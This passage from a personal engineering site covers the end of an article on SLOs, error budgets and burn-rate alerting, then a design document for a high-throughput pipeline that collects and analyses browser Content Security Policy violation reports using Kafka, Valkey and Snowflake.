- Better for external SLA reporting
- Favor service providers (incidents on day 30 are "forgotten" on day 1)

**Mathematical impact**:

For a 99% SLO:

- 24-hour window: Maximum 14.4 minutes continuous downtime
- 30-day window: Maximum 7.2 hours continuous downtime

Shorter windows force distributed failures; longer windows permit concentrated incidents.

**Recommendation**: Use rolling windows for internal SLOs (operational decisions) and calendar windows for external SLAs (contractual reporting).

## Error Budgets: Quantifying Acceptable Unreliability

The error budget is the mathematical complement of the SLO target:

$$
\text{Error Budget} = 1 - \text{SLO Target}
$$

For a 99.9% SLO, the error budget is 0.1%—permission for 0.1% of events to fail without violating the objective.

### Error Budget as Resource

Convert percentage to concrete numbers:

```
SLO: 99.9%
Compliance period: 30 days
Request volume: 10,000,000 requests/day × 30 days = 300,000,000 requests

Error budget = 0.001 × 300,000,000 = 300,000 allowable failed requests
```

This budget is a finite resource to be **spent** on:

- **Planned risk**: Deployments, migrations, experiments
- **Unplanned incidents**: Outages, bugs, dependency failures
- **Maintenance**: Upgrades, configuration changes

### Budget Consumption Tracking

Track budget consumption continuously:

$$
\text{Budget Consumed \%} = \frac{\text{Failed Events}}{\text{Error Budget}} \times 100\%
$$

Example consumption tracking over a 30-day period:

| Day | Daily Failures    | Cumulative Failures | Budget Consumed |
| --- | ----------------- | ------------------- | --------------- |
| 1   | 500               | 500                 | 0.17%           |
| 5   | 200               | 1,500               | 0.50%           |
| 10  | 50,000 (incident) | 52,000              | 17.3%           |
| 15  | 300               | 54,000              | 18.0%           |
| 30  | 400               | 75,000              | 25.0%           |

At 25% consumption, 75% of budget remains—the team can continue feature development.

### Budget Exhaustion Consequences

When error budget is exhausted (100% consumed), the SLO is violated. Typical organizational responses:

1. **Halt non-critical changes**: Only ship P0 bug fixes, security patches
2. **Mandatory postmortems**: All incidents consuming >20% of budget require documented analysis
3. **Reliability focus**: Engineering time redirects from features to reliability improvements
4. **Stakeholder notification**: Product, leadership informed of velocity constraints

This is the core trade-off mechanism: **error budgets give permission to focus on reliability when data indicates reliability is more important**.

## Burn Rate: The Velocity of Failure

Burn rate measures how quickly error budget is being consumed relative to the expected rate:

$$
\text{Burn Rate} = \frac{\text{Observed Error Rate}}{\text{Tolerable Error Rate}}
$$

Where:

$$
\text{Tolerable Error Rate} = 1 - \text{SLO Target}
$$

### Burn Rate Interpretation

| Burn Rate | Meaning                                                                  |
| --------- | ------------------------------------------------------------------------ |
| 1.0       | Consuming budget at exactly the planned rate; will exhaust at window end |
| < 1.0     | Under-consuming; budget will remain at window end                        |
| > 1.0     | Over-consuming; budget will exhaust before window end                    |
| 10.0      | 10× the acceptable error rate; severe incident                           |

**Example calculation**:

```
SLO: 99.9% (tolerable error rate = 0.1%)
Current error rate: 0.5%
Burn rate = 0.5% / 0.1% = 5.0

At burn rate 5.0:
- 30-day budget exhausts in 6 days
- Immediate investigation required
```

### Why Burn Rate, Not Raw Error Rate

Burn rate normalizes across services with different SLO targets:

| Service     | SLO    | Current Error Rate | Burn Rate       |
| ----------- | ------ | ------------------ | --------------- |
| Payment API | 99.99% | 0.01%              | 1.0 (on target) |
| Search      | 99.9%  | 0.01%              | 0.1 (excellent) |
| Analytics   | 99%    | 0.5%               | 0.5 (healthy)   |

Raw error rate would suggest Payment API and Search are equally healthy. Burn rate reveals Payment API is at its limit while Search has headroom.

## Multi-Window, Multi-Burn-Rate Alerting

Naive alerting on burn rate creates problems:

- **Single short window**: Temporary spikes trigger false alarms
- **Single long window**: Slow degradation detected too late
- **Static threshold**: Either too sensitive (alert fatigue) or too lenient (missed incidents)

The solution: combine multiple windows with correlated thresholds.

### Two-Alert Strategy

**Fast-burn alert (page)**:

- Window: 1 hour (with 5-minute correlation)
- Burn rate threshold: 14.4× (2% of monthly budget consumed in 1 hour)
- Purpose: Detect acute incidents requiring immediate response

**Slow-burn alert (ticket)**:

- Window: 6 hours (with 30-minute correlation)
- Burn rate threshold: 6× (5% of monthly budget consumed in 6 hours)
- Purpose: Detect sustained degradation requiring investigation

### Multi-Window Logic

Alerts require **both** windows to exceed thresholds:

```
Fast-burn fires IF:
  (Burn Rate over 1 hour > 14.4)
  AND
  (Burn Rate over 5 minutes > 14.4)

Slow-burn fires IF:
  (Burn Rate over 6 hours > 6)
  AND
  (Burn Rate over 30 minutes > 6)
```

**Design reasoning**: The short window (5 minutes, 30 minutes) provides fast recovery. When an incident resolves, the short window drops below threshold quickly, auto-resolving the alert. The long window (1 hour, 6 hours) prevents noise from temporary spikes.

### Alert Configuration Example

For a 99.9% SLO over 30 days:

```yaml
# Fast-burn: 2% of budget in 1 hour
- alert: HighErrorBudgetBurnFast
  expr: |
    (
      sum(rate(http_errors_total[1h])) / sum(rate(http_requests_total[1h]))
    ) > 0.001 * 14.4  # 14.4x burn rate
    and
    (
      sum(rate(http_errors_total[5m])) / sum(rate(http_requests_total[5m]))
    ) > 0.001 * 14.4
  for: 2m
  labels:
    severity: page
  annotations:
    summary: "High error budget burn rate (fast)"
    description: "Consuming error budget at 14x expected rate"

# Slow-burn: 5% of budget in 6 hours
- alert: HighErrorBudgetBurnSlow
  expr: |
    (
      sum(rate(http_errors_total[6h])) / sum(rate(http_requests_total[6h]))
    ) > 0.001 * 6
    and
    (
      sum(rate(http_errors_total[30m])) / sum(rate(http_requests_total[30m]))
    ) > 0.001 * 6
  for: 5m
  labels:
    severity: ticket
  annotations:
    summary: "Elevated error budget burn rate (slow)"
    description: "Sustained budget consumption at 6x expected rate"
```

## Error Budget Policies

Error budget policies codify organizational responses to budget consumption. Without explicit policies, SLOs become reporting metrics rather than decision-making instruments.

### Standard Policy Framework

```
IF budget consumed > 100% in trailing window:
  - HALT all non-critical deployments
  - Continue only: P0 bug fixes, security patches, reliability improvements
  - Resume feature development when budget is restored

IF single incident consumed > 20% of budget:
  - MANDATORY postmortem within 5 business days
  - Postmortem must include action items with owners and deadlines

IF recurring pattern of similar incidents:
  - Escalate to quarterly planning as P0 reliability investment
  - Product and engineering leadership review required
```

### Policy Flexibility

Not all budget consumption is equal:

**External causes** (dependency outages, cloud provider incidents):

- May exempt from deployment freeze
- Still count toward SLO for user experience tracking
- Document for stakeholder communication

**Internal causes** (bugs, configuration errors, capacity):

- Full policy application
- Focus engineering effort on root cause

**Gray areas** (partial dependency responsibility, shared infrastructure):

- Case-by-case evaluation
- Escalate disagreements to technical leadership

### Policy Governance

Policies require agreement from three parties:

1. **Product**: Acceptable reliability level for user experience
2. **Development**: Commitment to reliability work when budget exhausted
3. **SRE/Operations**: Feasibility of target given current infrastructure

Without three-party agreement, policies become contentious during incidents.

## SLO Review and Evolution

SLOs are not static. Review regularly and adjust based on evidence.

### Review Cadence

**Quarterly**: Assess SLO targets against actual performance

- Is the target achievable? (Constant violation suggests target too aggressive)
- Is the target meaningful? (Never violated suggests target too lenient)
- Has user expectation changed?

**Annually**: Business alignment review

- Do SLOs reflect current product priorities?
- Have competitive pressures changed requirements?
- Is reliability investment proportional to business value?

### Adjustment Criteria

**Tighten target** when:

- Team consistently exceeds target with margin
- User feedback indicates higher expectations
- Business criticality has increased

**Relax target** when:

- Target is unachievable with current architecture (requires significant investment)
- Dependency reliability constrains achievable level
- Cost of additional nines exceeds business value

**Change measurement** when:

- SLI no longer reflects user experience
- Measurement point has changed (new architecture)
- New failure modes need coverage

### Audit Trail

Document all SLO changes:

```markdown
## SLO Change Log

### 2024-03-15: Payment API Availability

- **Previous**: 99.9% over 30-day rolling
- **New**: 99.95% over 30-day rolling
- **Justification**: 12 months of 99.97% actual performance; payment criticality warrants tighter target
- **Approved by**: [Product Owner], [Engineering Lead], [SRE Lead]
```

This prevents "gaming" (adjusting targets to avoid violations) and enables organizational learning.

## Gotchas and Anti-Patterns

### SLO Target Selection Pitfalls

**The "number nines" problem**: Setting 99.999% without historical data or architectural support. Each nine costs exponentially more; unsupported targets create constant violation and cynicism.

**Measuring what's easy, not what matters**: Starting with available metrics rather than user experience. CPU utilization is easy to measure but does not capture user-facing failures.

**Too many SLOs**: More than 5-6 SLOs per service dilutes focus. Teams cannot prioritize when everything is an SLO.

**Misaligned incentives**: SLOs created without product involvement become engineering metrics disconnected from business value.

### Low-Traffic Service Challenges

Statistical reliability requires sample size:

| Traffic Level | P99 Reliability       | Minimum Window     |
| ------------- | --------------------- | ------------------ |
| 1,000/day     | 10 samples at P99     | Weekly aggregation |
| 10,000/day    | 100 samples at P99    | Daily viable       |
| 1,000,000/day | 10,000 samples at P99 | Hourly viable      |

**Solutions for low-traffic services**:

1. **Synthetic monitoring**: Supplement real traffic with synthetic probes
2. **Longer aggregation windows**: Weekly or monthly compliance periods
3. **Minimum failure thresholds**: Require minimum error count before alerting (e.g., at least 10 failures)
4. **Service consolidation**: Combine metrics from related services

### Gaming SLOs

Common manipulation tactics:

- Adjusting targets during difficult periods
- Narrowly scoping SLIs to exclude problematic components
- Manipulating measurement to inflate compliance

**Prevention**:

- Require stakeholder approval with audit trail for all changes
- External review by cross-functional teams
- Tie SLO performance to organizational outcomes (not individual performance reviews)

## Conclusion

The SLO framework transforms reliability from an abstract goal into a measurable, actionable resource. SLIs quantify what users experience; SLOs commit to explicit targets; error budgets convert targets into decision-making constraints.

The framework's power lies in making trade-offs explicit:

- **When budget is healthy**: Ship features, take risks, move fast
- **When budget is depleted**: Stop, fix reliability, earn back trust

This is not just monitoring—it is organizational alignment. Product, engineering, and operations share a common language for reliability decisions.

The mathematics matter: burn rate alerting prevents both alert fatigue and missed incidents; multi-window correlation reduces noise while enabling rapid response; rolling windows align with user experience while calendar windows support contractual reporting.

Start with what users care about, set achievable targets, measure continuously, and let the data drive decisions. The goal is not maximum reliability—it is **appropriate reliability** that balances user experience with development velocity.

## Appendix

### Prerequisites

- Familiarity with distributed systems operations (deployments, incidents, on-call)
- Basic understanding of percentiles and statistical sampling
- Experience with monitoring systems (Prometheus, Datadog, or similar)

### Terminology

- **SLI (Service Level Indicator)**: A quantitative measure of service behavior, typically a ratio of good events to valid events
- **SLO (Service Level Objective)**: A target value for an SLI over a compliance period
- **SLA (Service Level Agreement)**: A contractual commitment with consequences for violation (distinct from SLO, which is internal)
- **Error Budget**: The allowable amount of unreliability (1 - SLO target)
- **Burn Rate**: The rate at which error budget is being consumed relative to the expected rate
- **Compliance Period**: The time window over which SLO compliance is measured (rolling or calendar)

### Summary

- SLIs measure user-centric reliability as good events / valid events; use percentiles for latency, not averages
- SLOs combine SLIs with targets and compliance periods; each additional "nine" costs exponentially more
- Error budgets (1 - SLO) quantify acceptable unreliability and balance reliability against development velocity
- Burn rate normalizes error rates across services; > 1.0 means budget will exhaust before window end
- Multi-window, multi-burn-rate alerting prevents both alert fatigue and missed incidents
- Error budget policies codify organizational responses; require product, dev, and SRE agreement
- Rolling windows align with operations; calendar windows suit contractual reporting

### References

- [Google SRE Book: Service Level Objectives](https://sre.google/sre-book/service-level-objectives/) - Foundational definitions and philosophy
- [Google SRE Workbook: Implementing SLOs](https://sre.google/workbook/implementing-slos/) - Practical implementation guidance
- [Google SRE Workbook: Alerting on SLOs](https://sre.google/workbook/alerting-on-slos/) - Multi-window burn rate alerting mathematics
- [Google SRE Workbook: Error Budget Policy](https://sre.google/workbook/error-budget-policy/) - Policy framework and governance
- [W3C Trace Context](https://www.w3.org/TR/trace-context/) - Context propagation for distributed tracing (relevant for SLI measurement)
- [SLO Adoption and Usage in Site Reliability Engineering (O'Reilly)](https://www.oreilly.com/library/view/slo-adoption-and/9781492075370/) - Advanced SLI construction patterns
- [Google Cloud: SLO Monitoring](https://cloud.google.com/stackdriver/docs/solutions/slo-monitoring) - Cloud-native SLO implementation
- [Datadog: Burn Rate is Better Error Rate](https://www.datadoghq.com/blog/burn-rate-is-better-error-rate/) - Burn rate vs. error rate comparison

---

## CSP Violation Reporting Pipeline at Scale

**URL:** https://sujeet.pro/legacy-personal-site/v4/articles/platform-engineering/observability-reliability/csp-violation-reporting-pipeline
**Category:** Platform Engineering / Observability & Reliability
**Description:** CSP-Sentinel is a centralized system designed to collect, process, and analyze Content Security Policy (CSP) violation reports from web browsers at scale. The system handles baseline 50k RPS with burst capacity to 500k+ RPS while maintaining sub-millisecond response times and near-zero impact on client browsers.

# CSP Violation Reporting Pipeline at Scale

CSP-Sentinel is a centralized system designed to collect, process, and analyze Content Security Policy (CSP) violation reports from web browsers at scale. The system handles baseline 50k RPS with burst capacity to 500k+ RPS while maintaining sub-millisecond response times and near-zero impact on client browsers.

<figure>

![CSP-Sentinel high-level architecture: browsers send violation reports through a non-blocking API to Kafka, where consumers deduplicate and batch-write to Snowflake](./csp-sentinel-high-level-architecture-browsers-send-violation-reports-through-a-n.svg)

<figcaption>CSP-Sentinel high-level architecture: browsers send violation reports through a non-blocking API to Kafka, where consumers deduplicate and batch-write to Snowflake</figcaption>

</figure>

## Abstract

CSP violation reporting presents a specific scaling challenge: browsers generate reports unpredictably, often in bursts during incidents, and the data is high-volume but low-value per individual event. The core insight is to treat reports as a **streaming analytics problem**, not a transactional one.

<figure>

![Mental model: CSP reports flow through a pipeline optimized for eventual consistency and noise reduction, not transactional guarantees](./mental-model-csp-reports-flow-through-a-pipeline-optimized-for-eventual-consiste.svg)

<figcaption>Mental model: CSP reports flow through a pipeline optimized for eventual consistency and noise reduction, not transactional guarantees</figcaption>

</figure>

**Key design trade-offs:**

| Decision                | Optimizes For             | Sacrifices                                       |
| :---------------------- | :------------------------ | :----------------------------------------------- |
| `acks=1` (leader only)  | Latency (~1ms vs ~10ms)   | Durability (rare message loss on leader failure) |
| 10-minute dedup window  | Storage cost, query noise | Precision (identical violations merged)          |
| 24-hour Kafka retention | Cost                      | Replay capability beyond 24h                     |
| Stateless API           | Horizontal scaling        | Session-based rate limiting                      |

**When this design fits:** High-volume telemetry where individual events are expendable, eventual consistency is acceptable, and the goal is aggregate insights rather than per-event guarantees.

**When it doesn't:** Audit logs requiring strict durability, real-time alerting on individual violations, or compliance scenarios requiring guaranteed delivery.

## 1. Project Goals & Background

Modern browsers send CSP violation reports as JSON payloads when a webpage violates defined security policies. Aggregating these reports allows our security and development teams to:

- Identify misconfigurations and false positives.
- Detect malicious activity (XSS attempts).
- Monitor policy rollout health across all properties.

**Key Objectives:**

- **High Throughput:** Handle massive bursts of report traffic during incidents.
- **Low Latency:** Return `204 No Content` immediately to clients.
- **Noise Reduction:** Deduplicate repetitive reports from the same user/browser.
- **Actionable Insights:** Provide dashboards and alerts for developers.
- **Future-Proof:** Built on the latest LTS technologies available for Q1 2026.

## 2. Requirements

### 2.1 Functional Requirements

- **Ingestion API:** Expose a `POST /csp/report` endpoint accepting both CSP report formats:
  - **Legacy format** (`report-uri`): `Content-Type: application/csp-report` with `csp-report` wrapper object
  - **Modern format** (`report-to` + Reporting API): `Content-Type: application/reports+json` with array of report objects

> **Browser support note:** Firefox does not support `report-to` as of early 2026. Safari has partial support. Chromium-based browsers fully support both. Accept both formats to maximize coverage.

- **Immediate Response:** Always respond with HTTP 204 without waiting for processing.
- **Deduplication:** Suppress identical violations from the same browser within a short window (e.g., 10 minutes) using Redis.
- **Storage:** Store detailed violation records (timestamp, directive, blocked URI, etc.) for querying.
- **Analytics:** Support querying by directive, blocked host, and full-text search on resource URLs.
- **Visualization:** Integration with Grafana for trends, top violators, and alerting.
- **Retention:** Retain production data for 90 days.

### 2.2 Non-Functional Requirements

- **Scalability:** Horizontal scaling from 50k RPS to 1M+ RPS.
- **Reliability:** "Fire-and-forget" ingestion with durable buffering in Kafka. At-least-once delivery.
- **Flexibility:** Plug-and-play storage layer (Snowflake for Prod, Postgres for Dev).
- **Security:** Stateless API, standardized TLS, secure access to dashboards.

## 3. Technology Stack (Q1 2026 Strategy)

We have selected the latest Long-Term Support (LTS) and stable versions projected for the build timeframe.

| Component           | Choice         | Version (Target)      | Justification                                                                                                                                                                                 |
| :------------------ | :------------- | :-------------------- | :-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| **Language**        | Java           | **25 LTS**            | Latest LTS as of late 2025. Performance & feature set.                                                                                                                                        |
| **Framework**       | Spring Boot    | **4.0** (Framework 7) | Built for Java 25. Native support for Virtual Threads & Reactive.                                                                                                                             |
| **API Style**       | Spring WebFlux | --                    | Non-blocking I/O essential for high-concurrency ingestion.                                                                                                                                    |
| **Messaging**       | Apache Kafka   | **3.8+** (AWS MSK)    | Durable buffer, high throughput, decoupling.                                                                                                                                                  |
| **Caching**         | Valkey         | **8.x** (ElastiCache) | Redis-compatible, low-latency deduplication ([AWS migrated to Valkey](https://docs.aws.amazon.com/AmazonElastiCache/latest/dg/supported-engine-versions.html) after Redis licensing changes). |
| **Primary Storage** | Snowflake      | SaaS                  | Cloud-native OLAP, separates storage/compute, handles massive datasets.                                                                                                                       |
| **Dev Storage**     | PostgreSQL     | **18.x**              | Easy local setup, sufficient for dev/test volumes.                                                                                                                                            |
| **Visualization**   | Grafana        | **12.x**              | Rich ecosystem, native Snowflake plugin.                                                                                                                                                      |

## 4. System Architecture

### 4.1 High-Level Architecture (HLD)

The system follows a Streaming Data Pipeline pattern.

![Diagram](./diagram-1.svg)

### 4.2 Component Breakdown

#### 4.2.1 Ingestion Service (API)

- **Role:** Entry point for all reports.
- **Implementation:** Spring WebFlux (Netty).
- **Behavior:**
  - Validates JSON format.
  - Asynchronously sends to Kafka (`csp-violations`).
  - Returns `204` immediately.
  - **No** DB interaction to ensure sub-millisecond response time.

#### 4.2.2 Kafka Layer

- **Topic:** `csp-violations`.
- **Partitions:** Scaled per throughput (e.g., 48 partitions for 50k RPS).
- **Role:** Buffers spikes. If DB is slow, Kafka holds data, preventing data loss or API latency.

#### 4.2.3 Consumer Service

- **Role:** Processor.
- **Implementation:** Spring Boot (Reactor Kafka).
- **Logic:**
  1.  Polls batch from Kafka.
  2.  Computes Dedup Hash (e.g., `SHA1(document + directive + blocked_uri + ua)`).
  3.  Checks Redis: If exists, skip. If new, set in Redis (EXPIRE 10m).
  4.  Buffers unique records.
  5.  Batch writes to Storage (Snowflake/Postgres).
  6.  Commits Kafka offsets.

#### 4.2.4 Data Storage

- **Production (Snowflake):** Optimized for OLAP query patterns. Table clustered by Date/Directive.
- **Development (Postgres):** Standard relational table with GIN indexes for text search simulation.

## 5. Data Model

### 5.1 CSP Report Formats (Input)

The ingestion API must parse two distinct JSON formats. Per [W3C CSP3](https://www.w3.org/TR/CSP3/), the `report-uri` directive is deprecated but remains widely used due to Firefox's lack of `report-to` support.

**Legacy format** (`Content-Type: application/csp-report`):

```json title="legacy-csp-report.json" collapse={1, 10-12}
{
  "csp-report": {
    "document-uri": "https://example.com/page",
    "blocked-uri": "https://evil.com/script.js",
    "violated-directive": "script-src 'self'",
    "effective-directive": "script-src",
    "original-policy": "script-src 'self'; report-uri /csp",
    "disposition": "enforce",
    "status-code": 200
  }
}
```

**Modern format** (`Content-Type: application/reports+json`):

```json title="modern-reporting-api.json" collapse={1, 15-18}
[
  {
    "type": "csp-violation",
    "age": 53531,
    "url": "https://example.com/page",
    "user_agent": "Mozilla/5.0 ...",
    "body": {
      "documentURL": "https://example.com/page",
      "blockedURL": "https://evil.com/script.js",
      "effectiveDirective": "script-src-elem",
      "originalPolicy": "script-src 'self'; report-to csp-endpoint",
      "disposition": "enforce",
      "statusCode": 200,
      "sample": "console.log(\"ma"
    }
  }
]
```

**Key differences:**

| Aspect          | Legacy (`report-uri`)  | Modern (Reporting API)                                |
| :-------------- | :--------------------- | :---------------------------------------------------- |
| Wrapper         | `csp-report` object    | Array of report objects                               |
| Field naming    | `kebab-case`           | `camelCase`                                           |
| Directive field | `violated-directive`   | `effectiveDirective`                                  |
| Code sample     | Not included           | `sample` (first 40 chars, requires `'report-sample'`) |
| Batching        | Single report per POST | May batch multiple reports                            |

The consumer normalizes both formats to a unified internal schema before deduplication.

### 5.2 Internal Schema (Normalized)

| Field                | Type      | Description                          |
| :------------------- | :-------- | :----------------------------------- |
| `EVENT_ID`           | UUID      | Unique Event ID                      |
| `EVENT_TS`           | TIMESTAMP | Time of violation                    |
| `DOCUMENT_URI`       | STRING    | Page where violation occurred        |
| `VIOLATED_DIRECTIVE` | STRING    | e.g., `script-src`                   |
| `BLOCKED_URI`        | STRING    | The resource blocked                 |
| `BLOCKED_HOST`       | STRING    | Domain of blocked resource (derived) |
| `USER_AGENT`         | STRING    | Browser UA                           |
| `ORIGINAL_POLICY`    | STRING    | Full CSP string                      |
| `VIOLATION_HASH`     | STRING    | Deduplication key                    |

### 5.3 Snowflake DDL (Production)

```sql title="snowflake/csp_violations.sql" collapse={4-8}
CREATE TABLE CSP_VIOLATIONS (
  EVENT_ID            STRING DEFAULT UUID_STRING(),
  EVENT_TS            TIMESTAMP_LTZ NOT NULL,
  EVENT_DATE          DATE AS (CAST(EVENT_TS AS DATE)) STORED,
  DOCUMENT_URI        STRING,
  VIOLATED_DIRECTIVE  STRING,
  BLOCKED_URI         STRING,
  BLOCKED_HOST        STRING,
  USER_AGENT          STRING,
  -- ... other fields
  VIOLATION_HASH      STRING
)
CLUSTER BY (EVENT_DATE, VIOLATED_DIRECTIVE);
```

### 5.4 Postgres DDL (Development)

```sql title="postgres/csp_violations.sql" collapse={2-6}
CREATE TABLE csp_violations (
  event_id UUID PRIMARY KEY,
  event_ts TIMESTAMPTZ NOT NULL,
  -- ... same fields as Snowflake
  blocked_uri TEXT
);

-- Trigram index for text search on blocked URIs
CREATE INDEX idx_blocked_uri_trgm ON csp_violations USING gin (blocked_uri gin_trgm_ops);
```

## 6. Scaling & Capacity Planning

The system is designed to scale horizontally. We use specific formulas to determine the required infrastructure based on our target throughput.

### 6.1 Sizing Formulas

We use the following [industry-standard formulas](https://www.confluent.io/blog/how-choose-number-topics-partitions-kafka-cluster/) to estimate resources for strict SLAs.

#### 6.1.1 Kafka Partitions

To avoid bottlenecks, partition count ($P$) is calculated based on the slower of the producer ($T_p$) or consumer ($T_c$) throughput per partition.

$$
P = \max \left( \frac{T_{target}}{T_p}, \frac{T_{target}}{T_c} \right) \times \text{GrowthFactor}
$$

- **Target ($T_{target}$):** 50 MB/s (50k RPS $\times$ 1KB avg message size).
- **Producer Limit ($T_p$):** ~10 MB/s (standard Kafka producer on commodity hardware).
- **Consumer Limit ($T_c$):** ~5 MB/s (assuming deserialization + dedup logic).
- **Growth Factor:** 1.5x - 2x.

**Calculation for 50k RPS:**
$$ P = \max(5, 10) \times 1.5 = 15 \text{ partitions (min)} $$
_Recommendation:_ We will provision **48 partitions** to allow for massive burst capacity (up to ~240k RPS without resizing) and to match the parallelism of our consumer pod fleet.

#### 6.1.2 Consumer Pods

$$
N_{pods} = \frac{RPS_{target}}{RPS_{per\_pod}} \times \text{Headroom}
$$

- **50k RPS Target:** $\lceil \frac{50,000}{5,000} \times 1.3 \rceil = 13$ Pods.

### 6.2 Throughput Tiers

| Tier           | RPS  | Throughput | API Pods | Consumer Pods | Kafka Partitions |
| :------------- | :--- | :--------- | :------- | :------------ | :--------------- |
| **Baseline**   | 50k  | ~50 MB/s   | 4        | 12-14         | 48               |
| **Growth**     | 100k | ~100 MB/s  | 8        | 24-28         | 96               |
| **High Scale** | 500k | ~500 MB/s  | 36       | 130+          | 512              |

### 6.3 Scaling Strategies

- **API:** CPU-bound (JSON parsing) and Network I/O bound. Scale HPA based on CPU usage (Target 60%).
- **Consumers:** Bound by DB write latency and processing depth. Scale HPA based on **Kafka Consumer Lag**.
- **Storage:**
  - **Continuous Loading:** Use **Snowpipe** for steady streams.
  - **Batch Loading:** Use `COPY INTO` with file sizes between **100MB - 250MB** (compressed) for optimal warehouse utilization.

## 7. Observability

- **Dashboards (Grafana):**
  - **Overview:** Total violations/min, Breakdown by Directive.
  - **Top Offenders:** Top Blocked Hosts, Top Violating Pages.
  - **System Health:** Kafka Lag, API 5xx rates, End-to-end latency.
- **Alerting:**
  - **Spike Alert:** > 50% increase in violations over 5m moving average.
  - **Lag Alert:** Consumer lag > 1 million messages (indication of stalled consumers).

## 8. Infrastructure Optimization & Tuning

### 8.1 Kafka Configuration (AWS MSK)

To ensure durability while maintaining high throughput:

- **Replication Factor:** 3 (Survives 2 broker failures).
- **Min In-Sync Replicas (`min.insync.replicas`):** 2 (Ensures at least 2 writes before ack).
- **Producer Acks:** `acks=1` (Leader only) for lowest latency (Fire-and-forget), or `acks=all` for strict durability. _Recommended: `acks=1` for CSP reports to minimize browser impact._
- **Compression:** `lz4` or `zstd` (Low CPU overhead, high compression ratio for JSON).
- **Log Retention:** 24 Hours (Cost optimization; strictly a buffer).

### 8.2 Spring Boot WebFlux Tuning

Optimizing the Netty engine for 50k+ RPS:

- **Memory Allocation:** Enable Pooled Direct ByteBufs to reduce GC pressure.
  - `-Dio.netty.leakDetection.level=DISABLED` (Production only)
  - `-Dio.netty.allocator.type=pooled`
- **Threads:** limiting the Event Loop threads to `CPU Core Count` prevents context switching.
- **Garbage Collection:** Use **[Generational ZGC](https://openjdk.org/jeps/439)** which is optimized for sub-millisecond pauses on large heaps (available in Java 21+, production-ready).
  - `-XX:+UseZGC -XX:+ZGenerational`

### 8.3 Snowflake Ingestion Optimization

- **File Sizing:** [Snowflake micro-partitions](https://docs.snowflake.com/en/user-guide/data-load-considerations-prepare) are most efficient when loaded from files sized **100MB - 250MB** (compressed).
- **Batch Buffering:** Consumers should buffer writes to S3 until this size is reached OR a time window (e.g., 60s) passes.
- **Snowpipe vs COPY:**
  - For < 50k RPS: Direct Batch Inserts (JDBC) or small batch `COPY`.
  - For > 50k RPS: Write to S3 -> Trigger **[Snowpipe](https://docs.snowflake.com/en/user-guide/data-load-snowpipe-intro)**. This decouples consumer logic from warehouse loading latency.

## 9. Edge Cases and Failure Modes

### 9.1 Report Format Variations

Browsers implement CSP reporting with subtle differences. The pipeline must handle:

| Variation             | Source                                                              | Handling                                      |
| :-------------------- | :------------------------------------------------------------------ | :-------------------------------------------- |
| Missing `blocked-uri` | Some inline violations                                              | Default to `"inline"`                         |
| Truncated `sample`    | Reporting API limit                                                 | Accept up to 40 chars per spec                |
| Extension violations  | `blocked-uri` starts with `moz-extension://`, `chrome-extension://` | Filter out (not actionable)                   |
| Empty `referrer`      | Privacy settings                                                    | Normalize to `null`                           |
| Query strings in URIs | Standard behavior                                                   | Strip for deduplication, preserve for storage |

### 9.2 Failure Scenarios

**Kafka unavailable:** The WebFlux API returns `204` regardless—reports are dropped silently. This is acceptable for CSP telemetry but would need circuit breakers and local buffering for stricter guarantees.

**Redis unavailable:** Consumer continues without deduplication. All reports flow to storage, increasing costs but preserving data. Alert on Redis connection failures.

**Snowflake ingestion lag:** Kafka acts as a buffer (24-hour retention). If lag exceeds retention, oldest messages are lost. Monitor consumer lag as primary SLI.

**Dedup hash collisions:** SHA-1 collisions are theoretically possible but practically irrelevant at this scale (~10^-18 probability). If strict deduplication is required, use SHA-256.

### 9.3 Known Limitations

- **No per-user rate limiting:** Stateless API cannot throttle abusive clients without external infrastructure (e.g., WAF)
- **No replay capability:** Once Kafka retention expires, data cannot be reprocessed from source
- **Browser timing variability:** Reporting API does not guarantee batch delivery—expect single-report POSTs in many cases
- **Cross-origin restrictions:** Report endpoints must be HTTPS and cannot redirect to different origins

## Conclusion

CSP-Sentinel balances throughput, cost, and operational simplicity through three key design decisions:

1. **Fire-and-forget ingestion** - WebFlux returns `204` without database interaction, ensuring sub-millisecond response times regardless of downstream load
2. **Kafka as a buffer** - Decouples ingestion from processing, allowing the system to absorb 10x traffic spikes without backpressure reaching browsers
3. **Redis deduplication** - Reduces storage costs and noise by 70-90% in typical scenarios where browsers retry identical violations

The technology choices (Java 25 with ZGC, Valkey for Redis compatibility, Snowflake for OLAP) prioritize operational simplicity over marginal performance gains. The system handles 50k-500k+ RPS with infrastructure that a single engineer can maintain.

The design explicitly trades durability for latency—acceptable for telemetry where aggregate trends matter more than individual events. For audit-grade reporting, add `acks=all`, increase Kafka retention, and implement client-side retry with idempotency keys.

## Appendix

### Prerequisites

- Familiarity with streaming data pipelines (Kafka producer/consumer model)
- Understanding of CSP headers and browser security policies
- Basic knowledge of OLAP vs OLTP workloads
- Experience with Kubernetes horizontal pod autoscaling

### Terminology

| Term                | Definition                                                                           |
| :------------------ | :----------------------------------------------------------------------------------- |
| **CSP**             | Content Security Policy - browser security mechanism that restricts resource loading |
| **Fire-and-forget** | Pattern where the sender does not wait for acknowledgment                            |
| **HPA**             | Horizontal Pod Autoscaler - Kubernetes component for scaling based on metrics        |
| **OLAP**            | Online Analytical Processing - optimized for aggregate queries over large datasets   |
| **Snowpipe**        | Snowflake's continuous data ingestion service                                        |
| **ZGC**             | Z Garbage Collector - low-latency GC for JVM with sub-millisecond pauses             |

### Summary

- CSP violation reports are high-volume, low-value telemetry best handled as a streaming analytics problem
- Fire-and-forget ingestion (`204` immediate response) isolates browser impact from backend performance
- Kafka buffers absorb traffic spikes and decouple ingestion from processing
- Redis-based deduplication reduces storage by 70-90% using hash keys with TTL
- Snowflake clustering by date/directive optimizes the dominant query pattern
- Scale consumers on Kafka lag, not CPU—processing depth is the bottleneck

### References

#### Specifications

- [W3C Content Security Policy Level 3](https://www.w3.org/TR/CSP3/) - Authoritative CSP specification; `report-uri` deprecated in favor of `report-to`
- [W3C Reporting API](https://www.w3.org/TR/reporting-1/) - Modern reporting infrastructure used by `report-to` directive
- [MDN: CSPViolationReportBody](https://developer.mozilla.org/en-US/docs/Web/API/CSPViolationReportBody) - Report body schema for modern Reporting API

#### CSP Implementation

- [MDN: Content-Security-Policy report-uri](https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Content-Security-Policy/report-uri) - Legacy reporting format (`application/csp-report`)
- [MDN: Content-Security-Policy report-to](https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Content-Security-Policy/report-to) - Modern Reporting API integration
